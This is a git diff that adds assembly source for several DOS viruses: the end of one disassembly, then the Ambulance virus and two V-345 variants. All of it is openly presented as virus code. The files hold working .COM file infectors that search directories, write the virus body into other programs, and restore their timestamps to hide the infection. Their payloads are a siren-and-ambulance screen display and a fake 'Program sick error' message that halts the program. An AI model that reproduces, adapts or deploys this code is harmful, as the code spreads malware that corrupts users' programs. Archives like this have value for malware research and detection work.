;001D4 8D940001 ____ + MOV AH,40h ;001D8 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;001DA CD21 _! + MOV BX,[SI+0417h] ;001DC 8B9C1704 ____ + MOV CX,0003h ;001E0 B90300 ___ + LEA DX,[SI+0414h] ;001E3 8D941404 ____ + MOV AH,40h ;001E7 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;001E9 CD21 _! + MOV BX,[SI+0417h] ;001EB 8B9C1704 ____ + XOR CX,CX ;001EF 33C9 3_ + XOR DX,DX ;001F1 33D2 3_ + MOV AX,4200h ;001F3 B80042 __B + INT 21h ;2-Mov_Fl_Hdl_Ptr ;001F6 CD21 _! + MOV BX,[SI+0417h] ;001F8 8B9C1704 ____ + MOV CX,0003h ;001FC B90300 ___ + LEA DX,[SI+0411h] ;001FF 8D941104 ____ + MOV AH,40h ;00203 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;00205 CD21 _! + POP DX ;00207 5A Z + POP CX ;00208 59 Y + MOV BX,[SI+0417h] ;00209 8B9C1704 ____ + MOV AX,5701h ;0020D B80157 __W + INT 21h ;2-Fl_Hdl_Date_Time ;00210 CD21 _! +H00212: MOV BX,[SI+0417h] ;00212 8B9C1704 ____ + MOV AH,3Eh ;00216 B43E _> + INT 21h ;2-Close_Fl_Hdl ;00218 CD21 _! + RET ;RET_Near ;0021A C3 _ +;--------------------------------------------------- +H0021B: MOV AX,DS:[002Ch] ;0021B A12C00 _,_ + MOV ES,AX ;ES_Chg ;0021E 8EC0 __ + PUSH DS ;00220 1E _ + MOV AX,0040h ;00221 B84000 _@_ + MOV DS,AX ;DS_Chg ;00224 8ED8 __ + MOV BP,DS:[006Ch] ;00226 8B2E6C00 _.l_ + POP DS ;0022A 1F _ + TEST BP,0003h ;0022B F7C50300 ____ + JZ H00248 ;0022F 7417 t_ + XOR BX,BX ;00231 33DB 3_ + MOV AX,ES:[BX] ;ES_Ovrd ;00233 268B07 &__ + CMP AX,4150h ;00236 3D5041 =PA + JNZ H00243 ;00239 7508 u_ + CMP Word Ptr ES:[BX+02h],4854h + ;ES_Ovrd ;0023B 26817F025448 &___TH + JZ H0024E ;00241 740B t_ +H00243: INC BX ;00243 43 C + OR AX,AX ;00244 0BC0 __ + JNZ H00233 ;00246 75EB u_ +H00248: LEA DI,[SI+0428h] ;00248 8DBC2804 __(_ + JMP Short H00280 ;0024C EB32 _2 +;--------------------------------------------------- +H0024E: ADD BX,+05h ;0024E 83C305 ___ + LEA DI,[SI+0428h] ;00251 8DBC2804 __(_ + MOV AL,ES:[BX] ;ES_Ovrd ;00255 268A07 &__ + INC BX ;00258 43 C + OR AL,AL ;00259 0AC0 __ + JZ H00276 ;0025B 7419 t_ + CMP AL,3Bh ;0025D 3C3B <; + JZ H00266 ;0025F 7405 t_ + MOV [DI],AL ;00261 8805 __ + INC DI ;00263 47 G + JMP Short H00255 ;00264 EBEF __ +;--------------------------------------------------- +H00266: CMP Byte Ptr ES:[BX],00h + ;ES_Ovrd ;00266 26803F00 &_?_ + JZ H00276 ;0026A 740A t_ + SHR BP,1 ;0026C D1ED __ + SHR BP,1 ;0026E D1ED __ + TEST BP,0003h ;00270 F7C50300 ____ + JNZ H00251 ;00274 75DB u_ +H00276: CMP Byte Ptr [DI-01h],5Ch ;00276 807DFF5C _}_\ + JZ H00280 ;0027A 7404 t_ + MOV Byte Ptr [DI],5Ch ;0027C C6055C __\ + INC DI ;0027F 47 G +H00280: PUSH DS ;00280 1E _ + POP ES ;00281 07 _ + MOV [SI+0422h],DI ;00282 89BC2204 __"_ +;********* Put "*.COM" at ES:DI + MOV AX,2E2Ah ;00286 B82A2E _*. + STOSW ;00289 AB _ + MOV AX,4F43h ;0028A B8434F _CO + STOSW ;0028D AB _ + MOV AX,004Dh ;0028E B84D00 _M_ + STOSW ;00291 AB _ +;********** + PUSH ES ;00292 06 _ + MOV AH,2Fh ;00293 B42F _/ + INT 21h ;2-Get_DTA ;00295 CD21 _! + MOV AX,ES ;00297 8CC0 __ + MOV [SI+0424h],AX ;00299 89842404 __$_ + MOV [SI+0426h],BX ;0029D 899C2604 __&_ + POP ES ;002A1 07 _ + LEA DX,[SI+0478h] ;002A2 8D947804 __x_ + MOV AH,1Ah ;002A6 B41A __ + INT 21h ;1-Set_DTA ;002A8 CD21 _! + LEA DX,[SI+0428h] ;002AA 8D942804 __(_ + XOR CX,CX ;002AE 33C9 3_ + MOV AH,4Eh ;002B0 B44E _N + INT 21h ;2-Srch_1st_Fl_Hdl ;002B2 CD21 _! + JNB H002BE ;002B4 7308 s_ + XOR AX,AX ;002B6 33C0 3_ + MOV [SI+0428h],AX ;002B8 89842804 __(_ + JMP Short H002E7 ;002BC EB29 _) +;--------------------------------------------------- +H002BE: PUSH DS ;002BE 1E _ + MOV AX,0040h ;002BF B84000 _@_ + MOV DS,AX ;DS_Chg ;002C2 8ED8 __ + ROR BP,1 ;002C4 D1CD __ + XOR BP,DS:[006Ch] ;002C6 332E6C00 3.l_ + POP DS ;002CA 1F _ + TEST BP,0007h ;002CB F7C50700 ____ + JZ H002D7 ;002CF 7406 t_ + MOV AH,4Fh ;002D1 B44F _O + INT 21h ;2-Srch_Nxt_Fl_Hdl ;002D3 CD21 _! + JNB H002BE ;002D5 73E7 s_ +H002D7: MOV DI,[SI+0422h] ;002D7 8BBC2204 __"_ + LEA BX,[SI+0496h] ;002DB 8D9C9604 ____ + MOV AL,[BX] ;002DF 8A07 __ + INC BX ;002E1 43 C + STOSB ;002E2 AA _ + OR AL,AL ;002E3 0AC0 __ + JNZ H002DF ;002E5 75F8 u_ +H002E7: MOV BX,[SI+0426h] ;002E7 8B9C2604 __&_ + MOV AX,[SI+0424h] ;002EB 8B842404 __$_ + PUSH DS ;002EF 1E _ + MOV DS,AX ;DS_Chg ;002F0 8ED8 __ + MOV AH,1Ah ;002F2 B41A __ + INT 21h ;1-Set_DTA ;002F4 CD21 _! + POP DS ;002F6 1F _ + RET ;RET_Near ;002F7 C3 _ +;--------------------------------------------------- +H002F8: PUSH ES ;002F8 06 _ + MOV AX,[SI+040Fh] ;002F9 8B840F04 ____ + AND AX,0007h ;002FD 250700 %__ + CMP AX,0006h ;00300 3D0600 =__ + JNZ H0031A ;00303 7515 u_ + MOV AX,0040h ;00305 B84000 _@_ + MOV ES,AX ;ES_Chg ;00308 8EC0 __ + MOV AX,ES:[000Ch] ;ES_Ovrd ;0030A 26A10C00 &___ + OR AX,AX ;0030E 0BC0 __ + JNZ H0031A ;00310 7508 u_ + INC Word Ptr ES:[000Ch] + ;ES_Ovrd ;00312 26FF060C00 &____ + CALL H0031C ; . . . . . . . . . ;00317 E80200 ___ +H0031A: POP ES ;0031A 07 _ + RET ;RET_Near ;0031B C3 _ +;--------------------------------------------------- +H0031C: PUSH DS ;0031C 1E _ + MOV DI,0B800h ;0031D BF00B8 ___ + MOV AX,0040h ;00320 B84000 _@_ + MOV DS,AX ;DS_Chg ;00323 8ED8 __ + MOV AL,DS:[0049h] ;00325 A04900 _I_ + CMP AL,07h ;00328 3C07 <_ + JNZ H0032F ;0032A 7503 u_ + MOV DI,0B000h ;0032C BF00B0 ___ +H0032F: MOV ES,DI ;ES_Chg ;0032F 8EC7 __ + POP DS ;00331 1F _ + MOV BP,0FFF0h ;00332 BDF0FF ___ + MOV DX,0000h ;00335 BA0000 ___ + MOV CX,0010h ;00338 B91000 ___ + CALL H0037D ; . . . . . . . . . ;0033B E83F00 _?_ + INC DX ;0033E 42 B + LOOP H0033B ;0033F E2FA __ + CALL H0035A ; . . . . . . . . . ;00341 E81600 ___ + CALL H003C2 ; . . . . . . . . . ;00344 E87B00 _{_ + INC BP ;00347 45 E + CMP BP,+50h ;00348 83FD50 __P + JNZ H00335 ;0034B 75E8 u_ + CALL SILENC ; . . . . . . . . . ;0034D E80300 ___ + PUSH DS ;00350 1E _ + POP ES ;00351 07 _ + RET ;RET_Near ;00352 C3 _ +;--------------------------------------------------- +;********** Silence speaker +SILENC: IN AL,61h ;Port_IN:61h ;00353 E461 _a + AND AL,0FCh ;00355 24FC $_ + OUT 61h,AL ;Port_OUT:61h ;00357 E661 _a + RET ;RET_Near ;00359 C3 _ +;--------------------------------------------------- +H0035A: MOV DX,07D0h ;0035A BAD007 ___ + TEST BP,0004h ;0035D F7C50400 ____ + JZ H00366 ;00361 7403 t_ + MOV DX,0BB8h ;00363 BAB80B ___ +H00366: IN AL,61h ;Port_IN:61h ;00366 E461 _a + TEST AL,03h ;00368 A803 __ + JNZ H00374 ;0036A 7508 u_ + OR AL,03h ;0036C 0C03 __ + OUT 61h,AL ;Port_OUT:61h ;0036E E661 _a + MOV AL,0B6h ;00370 B0B6 __ + OUT 43h,AL ;Port_OUT:43h ;00372 E643 _C +H00374: MOV AX,DX ;00374 8BC2 __ + OUT 42h,AL ;Port_OUT:42h ;00376 E642 _B + MOV AL,AH ;00378 88E0 __ + OUT 42h,AL ;Port_OUT:42h ;0037A E642 _B + RET ;RET_Near ;0037C C3 _ +;--------------------------------------------------- +H0037D: PUSH CX ;0037D 51 Q + PUSH DX ;0037E 52 R + LEA BX,[SI+03BFh] ;0037F 8D9CBF03 ____ + ADD BX,DX ;00383 03DA __ + ADD DX,BP ;00385 01EA __ + OR DX,DX ;00387 0BD2 __ + JS H003BF ;00389 7834 x4 + CMP DX,+50h ;0038B 83FA50 __P + JNB H003BF ;0038E 732F s/ + MOV DI,0C80h ;00390 BF800C ___ + ADD DI,DX ;00393 03FA __ + ADD DI,DX ;00395 03FA __ + SUB DX,BP ;00397 29EA )_ + MOV CX,0005h ;00399 B90500 ___ + MOV AH,07h ;0039C B407 __ + MOV AL,[BX] ;0039E 8A07 __ + SUB AL,07h ;003A0 2C07 ,_ + ADD AL,CL ;003A2 02C1 __ + SUB AL,DL ;003A4 28D0 (_ + CMP CX,+05h ;003A6 83F905 ___ + JNZ H003B5 ;003A9 750A u_ + MOV AH,0Fh ;003AB B40F __ + TEST BP,0003h ;003AD F7C50300 ____ + JZ H003B5 ;003B1 7402 t_ + MOV AL,20h ;003B3 B020 _ +H003B5: STOSW ;003B5 AB _ + ADD BX,+10h ;003B6 83C310 ___ + ADD DI,009Eh ;003B9 81C79E00 ____ + LOOP H0039C ;003BD E2DD __ +H003BF: POP DX ;003BF 5A Z + POP CX ;003C0 59 Y + RET ;RET_Near ;003C1 C3 _ +;--------------------------------------------------- +H003C2: PUSH DS ;003C2 1E _ + MOV AX,0040h ;003C3 B84000 _@_ + MOV DS,AX ;DS_Chg ;003C6 8ED8 __ + MOV AX,DS:[006Ch] ;003C8 A16C00 _l_ + CMP AX,DS:[006Ch] ;003CB 3B066C00 ;_l_ + JZ H003CB ;003CF 74FA t_ + POP DS ;003D1 1F _ + RET ;RET_Near ;003D2 C3 _ +;--------------------------------------------------- + DB '"' ;003D3 22 +;--------------------------------------------------- + AND SP,[SI] ;SP_Chg ;003D4 2324 #$ + AND AX,2726h ;003D6 252627 %&' + SUB [BX+DI],CH ;003D9 2829 () + DB 66h ;Indef_OP:66h ;003DB 66 f +;--------------------------------------------------- + XCHG DI,[BP+DI] ;003DC 873B _; + SUB AX,2F2Eh ;003DE 2D2E2F -./ + XOR [BX+DI],DH ;003E1 3031 01 + AND SP,AX ;SP_Chg ;003E3 23E0 #_ + LOOPZ H003C9 ;003E5 E1E2 __ + JCXZ H003CD ;003E7 E3E4 __ + IN AX,0E6h ;Port_IN:E6h ;003E9 E5E6 __ + OUT 0E7h,AX ;Port_OUT:E7h ;003EB E7E7 __ + JMP H0EFDA ;003ED E9EAEB ___ +;--------------------------------------------------- + XOR [BX+DI],DH ;003F0 3031 01 + XOR AH,[SI] ;003F2 3224 2$ + LOOPNZ H003D7 ;003F4 E0E1 __ + LOOP H003DB ;003F6 E2E3 __ + CALL H0EE25 ; . . . . . . . . . ;003F8 E82AEA _*_ + OUT 0E8h,AX ;Port_OUT:E8h ;003FB E7E8 __ + JMP H0342F ;003FD E92F30 _/0 +;--------------------------------------------------- + DB 6Dh ;286_INSW ;00400 6D m +;--------------------------------------------------- + XOR DH,[BP+DI] ;00401 3233 23 + AND AX,0E2E1h ;00403 25E1E2 %__ + JCXZ H003EC ;00406 E3E4 __ + IN AX,0E7h ;Port_IN:E7h ;00408 E5E7 __ + OUT 0E8h,AX ;Port_OUT:E8h ;0040A E7E8 __ + JMP H0EFF9 ;0040C E9EAEB ___ +;--------------------------------------------------- + IN AL,DX ;Port_IN:DX ;0040F EC _ + IN AX,DX ;Port_IN:DX ;00410 ED _ + OUT DX,AL ;Port_OUT:DX ;00411 EE _ + OUT DX,AX ;Port_OUT:DX ;00412 EF _ + OUT 0E7h,AL ;ES_Ovrd ;00413 26E6E7 &__ + SUB [BX+DI+5Ah],BX ;00416 29595A )YZ + SUB AL,0ECh ;00419 2CEC ,_ + IN AX,DX ;Port_IN:DX ;0041B ED _ + OUT DX,AL ;Port_OUT:DX ;0041C EE _ + OUT DX,AX ;Port_OUT:DX ;0041D EF _ + DB 0F0h ;LOCK:F0h ;0041E F0 _ + XOR AH,[BP+SI+34] ;0041F 326234 2b4 +;--------------------------------------------------- + HLT ;SYSTEM_HALT ;00422 F4 _ + OR AL,[BX+SI] ;00423 0A00 __ + JMP H00439 ;00425 E91100 ___ +;--------------------------------------------------- + DB 0B4h, 09h, 0BAh ;First three bytes ;00428 + DB 05,00 ;Dunno ;0042B + DB 0B4h, 09h, 0BAh ;First three bytes ;0042D + ;AGAIN! Wierd +P00100 ENDP + +CODE ENDS + END H00100 + +;------------------------------------------------------------------------------- diff --git a/a/AMBULANC.ASM b/a/AMBULANC.ASM new file mode 100755 index 0000000..40eb15f --- /dev/null +++ b/a/AMBULANC.ASM @@ -0,0 +1,479 @@ + +PAGE 59,132 + +; +; +; AMBULANC +; +; Created: 13-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 0Ch +data_2e equ 49h +data_3e equ 6Ch +psp_envirn_seg equ 2Ch +data_20e equ 0C80h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +ambulanc proc far + +start: + jmp loc_1 + db 0 +data_7 dw 0 ; Data table (indexed access) + db 44 dup (0) +loc_1: +;* call sub_1 ;* + db 0E8h, 01h, 00h + add [bp-7Fh],bx + out dx,al ; port 0, DMA-1 bas&add ch 0 + add ax,[bx+di] + call sub_2 + call sub_2 + call sub_4 + lea bx,[si+419h] ; Load effective addr + mov di,100h + mov al,[bx] + mov [di],al + mov ax,[bx+1] + mov [di+1],ax + jmp di ;*Register jump + +loc_ret_2: + retn + +ambulanc endp + +; +; SUBROUTINE +; + +sub_2 proc near + call sub_3 + mov al,byte ptr data_19[si] + or al,al ; Zero ? + jz loc_ret_2 ; Jump if zero + lea bx,[si+40Fh] ; Load effective addr + inc word ptr [bx] + lea dx,[si+428h] ; Load effective addr + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov data_12[si],ax + mov bx,data_12[si] + mov cx,3 + lea dx,[si+414h] ; Load effective addr + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov al,data_10[si] + cmp al,0E9h + jne loc_3 ; Jump if not equal + mov dx,data_11[si] + mov bx,data_12[si] + add dx,3 + xor cx,cx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov bx,data_12[si] + mov cx,6 + lea dx,[si+41Ch] ; Load effective addr + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ax,data_13[si] + mov bx,data_14[si] + mov cx,data_15[si] + cmp ax,word ptr ds:[100h][si] + jne loc_3 ; Jump if not equal + cmp bx,word ptr ds:[102h][si] + jne loc_3 ; Jump if not equal + cmp cx,data_7[si] + je loc_4 ; Jump if equal +loc_3: + mov bx,data_12[si] + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + sub ax,3 + mov data_9[si],ax + mov bx,data_12[si] + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push cx + push dx + mov bx,data_12[si] + mov cx,319h + lea dx,[si+100h] ; Load effective addr + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov bx,data_12[si] + mov cx,3 + lea dx,[si+414h] ; Load effective addr + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov bx,data_12[si] + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov bx,data_12[si] + mov cx,3 + lea dx,[si+411h] ; Load effective addr + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop dx + pop cx + mov bx,data_12[si] + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time +loc_4: + mov bx,data_12[si] + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + mov ax,ds:psp_envirn_seg + mov es,ax + push ds + mov ax,40h + mov ds,ax + mov bp,ds:data_3e + pop ds + test bp,3 + jz loc_7 ; Jump if zero + xor bx,bx ; Zero register +loc_5: + mov ax,es:[bx] + cmp ax,4150h + jne loc_6 ; Jump if not equal + cmp word ptr es:[bx+2],4854h + je loc_8 ; Jump if equal +loc_6: + inc bx + or ax,ax ; Zero ? + jnz loc_5 ; Jump if not zero +loc_7: + lea di,[si+428h] ; Load effective addr + jmp short loc_13 +loc_8: + add bx,5 +loc_9: + lea di,[si+428h] ; Load effective addr +loc_10: + mov al,es:[bx] + inc bx + or al,al ; Zero ? + jz loc_12 ; Jump if zero + cmp al,3Bh ; ';' + je loc_11 ; Jump if equal + mov [di],al + inc di + jmp short loc_10 +loc_11: + cmp byte ptr es:[bx],0 + je loc_12 ; Jump if equal + shr bp,1 ; Shift w/zeros fill + shr bp,1 ; Shift w/zeros fill + test bp,3 + jnz loc_9 ; Jump if not zero +loc_12: + cmp byte ptr [di-1],5Ch ; '\' + je loc_13 ; Jump if equal + mov byte ptr [di],5Ch ; '\' + inc di +loc_13: + push ds + pop es + mov data_16[si],di + mov ax,2E2Ah + stosw ; Store ax to es:[di] + mov ax,4F43h + stosw ; Store ax to es:[di] + mov ax,4Dh + stosw ; Store ax to es:[di] + push es + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov ax,es + mov data_17[si],ax + mov data_18[si],bx + pop es + lea dx,[si+478h] ; Load effective addr + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + lea dx,[si+428h] ; Load effective addr + xor cx,cx ; Zero register + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_14 ; Jump if carry=0 + xor ax,ax ; Zero register + mov data_19[si],ax + jmp short loc_17 +loc_14: + push ds + mov ax,40h + mov ds,ax + ror bp,1 ; Rotate + xor bp,ds:data_3e + pop ds + test bp,7 + jz loc_15 ; Jump if zero + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_14 ; Jump if carry=0 +loc_15: + mov di,data_16[si] + lea bx,[si+496h] ; Load effective addr +loc_16: + mov al,[bx] + inc bx + stosb ; Store al to es:[di] + or al,al ; Zero ? + jnz loc_16 ; Jump if not zero +loc_17: + mov bx,data_18[si] + mov ax,data_17[si] + push ds + mov ds,ax + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + pop ds + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + push es + mov ax,data_8[si] + and ax,7 + cmp ax,6 + jne loc_18 ; Jump if not equal + mov ax,40h + mov es,ax + mov ax,es:data_1e + or ax,ax ; Zero ? + jnz loc_18 ; Jump if not zero + inc word ptr es:data_1e + call sub_5 +loc_18: + pop es + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push ds + mov di,0B800h + mov ax,40h + mov ds,ax + mov al,ds:data_2e + cmp al,7 + jne loc_19 ; Jump if not equal + mov di,0B000h +loc_19: + mov es,di + pop ds + mov bp,0FFF0h +loc_20: + mov dx,0 + mov cx,10h + +locloop_21: + call sub_8 + inc dx + loop locloop_21 ; Loop if cx > 0 + + call sub_7 + call sub_9 + inc bp + cmp bp,50h + jne loc_20 ; Jump if not equal + call sub_6 + push ds + pop es + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + in al,61h ; port 61h, 8255 port B, read + and al,0FCh + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + mov dx,7D0h + test bp,4 + jz loc_22 ; Jump if zero + mov dx,0BB8h +loc_22: + in al,61h ; port 61h, 8255 port B, read + test al,3 + jnz loc_23 ; Jump if not zero + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode +loc_23: + mov ax,dx + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push cx + push dx + lea bx,[si+3BFh] ; Load effective addr + add bx,dx + add dx,bp + or dx,dx ; Zero ? + js loc_26 ; Jump if sign=1 + cmp dx,50h + jae loc_26 ; Jump if above or = + mov di,data_20e + add di,dx + add di,dx + sub dx,bp + mov cx,5 + +locloop_24: + mov ah,7 + mov al,[bx] + sub al,7 + add al,cl + sub al,dl + cmp cx,5 + jne loc_25 ; Jump if not equal + mov ah,0Fh + test bp,3 + jz loc_25 ; Jump if zero + mov al,20h ; ' ' +loc_25: + stosw ; Store ax to es:[di] + add bx,10h + add di,9Eh + loop locloop_24 ; Loop if cx > 0 + +loc_26: + pop dx + pop cx + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push ds + mov ax,40h + mov ds,ax + mov ax,ds:data_3e +loc_28: + cmp ax,ds:data_3e + je loc_28 ; Jump if equal + pop ds + retn +sub_9 endp + + and ah,[bp+di] + and al,25h ; '%' + db 26h, 27h, 28h, 29h, 66h, 87h + db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h + db 23h,0E0h,0E1h,0E2h,0E3h,0E4h + db 0E5h,0E6h,0E7h,0E7h,0E9h,0EAh + db 0EBh + db 30h +data_8 dw 3231h ; Data table (indexed access) + db 24h +data_9 dw 0E1E0h ; Data table (indexed access) +data_10 db 0E2h ; Data table (indexed access) +data_11 dw 0E8E3h ; Data table (indexed access) +data_12 dw 0EA2Ah ; Data table (indexed access) + db 0E7h,0E8h,0E9h +data_13 dw 302Fh ; Data table (indexed access) +data_14 dw 326Dh ; Data table (indexed access) +data_15 dw 2533h ; Data table (indexed access) +data_16 dw 0E2E1h ; Data table (indexed access) +data_17 dw 0E4E3h ; Data table (indexed access) +data_18 dw 0E7E5h ; Data table (indexed access) +data_19 dw 0E8E7h ; Data table (indexed access) + db 0E9h,0EAh,0EBh,0ECh,0EDh,0EEh + db 0EFh, 26h,0E6h,0E7h, 29h, 59h + db 5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh + db 0F0h, 32h, 62h, 34h,0F4h, 0Ah + db 00h,0E9h, 2Fh, 00h,0CDh, 20h + db 00h, 05h, 00h,0CDh, 20h, 00h + +seg_a ends + + + + end start diff --git a/a/AMST-299.ASM b/a/AMST-299.ASM new file mode 100755 index 0000000..cb44f78 --- /dev/null +++ b/a/AMST-299.ASM @@ -0,0 +1,133 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +dta equ 80 +ftime equ offset dta + 16 +fdate equ offset dta + 18 +fname equ offset dta + 1E +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + + mov cx,cs:[ftime] + mov dx,cs:[fdate] + mov ax,5701 ;Set file date/time + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr ds:[timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/a/AMST-345.ASM b/a/AMST-345.ASM new file mode 100755 index 0000000..a7067cd --- /dev/null +++ b/a/AMST-345.ASM @@ -0,0 +1,134 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] 